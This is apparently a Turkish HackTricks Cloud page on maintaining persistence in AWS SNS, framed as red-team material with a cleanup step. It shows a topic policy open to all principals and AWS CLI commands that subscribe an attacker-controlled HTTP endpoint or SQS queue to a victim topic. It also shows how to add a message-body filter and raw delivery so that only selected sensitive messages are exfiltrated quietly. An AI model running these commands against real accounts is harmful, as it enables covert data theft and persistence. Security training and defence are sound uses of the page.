AWS - SNS Kalıcılık
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
SNS
Daha fazla bilgi için bakınız:
Kalıcılık
Bir SNS topic oluştururken bir IAM policy ile kimlerin okuma ve yazma erişimine sahip olduğunu belirtmeniz gerekir. Harici hesapları, rollere ait ARN’leri veya hatta “*” belirtmek mümkündür.
Aşağıdaki policy AWS’deki herkese MySNS.fifo adlı SNS topic üzerinde okuma ve yazma erişimi verir:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Aboneler Oluştur
Tüm topic’lerdeki tüm mesajları exfiltrating etmeye devam etmek için saldırgan tüm topic’ler için aboneler oluşturabilir.
Bir topic FIFO türündeyse, yalnızca SQS protokolünü kullanan aboneler kullanılabilir.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
FilterPolicy ile MessageBody üzerinde gizli, seçici exfiltration
Bir saldırganın bir topic üzerinde sns:Subscribe ve sns:SetSubscriptionAttributes izinleri varsa, JSON gövdesi çok dar bir filtreyle eşleşen (ör. {"secret":"true"}) mesajları yalnızca ileten gizli bir SQS subscription oluşturabilir. Bu, hacmi ve tespiti azaltır; aynı zamanda hassas kayıtları exfiltrate eder.
Olası Etki: Hedef bir topic’ten yalnızca hedeflenmiş SNS mesajlarının gizli, düşük-gürültülü exfiltration’ı.
Adımlar (AWS CLI):
- Saldırganın SQS queue policy’sinin victim
TopicArniçinsqs:SendMessageiznini verdiğinden emin olun (Conditionaws:SourceArnequals theTopicArn). - Topic’e SQS subscription oluşturun:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Filtreyi message body üzerinde çalışacak ve yalnızca
secret=trueile eşleşecek şekilde ayarlayın:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Opsiyonel gizlilik: yalnızca ham payload’un alıcıya gelmesi için raw delivery’yi etkinleştirin:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Doğrulama: iki mesaj yayınlayın ve yalnızca ilk mesajın saldırgan kuyruğuna teslim edildiğini doğrulayın. Örnek payload’lar:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Temizlik: persistence testi için oluşturulduysa unsubscribe yapın ve saldırgan SQS kuyruğunu silin.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

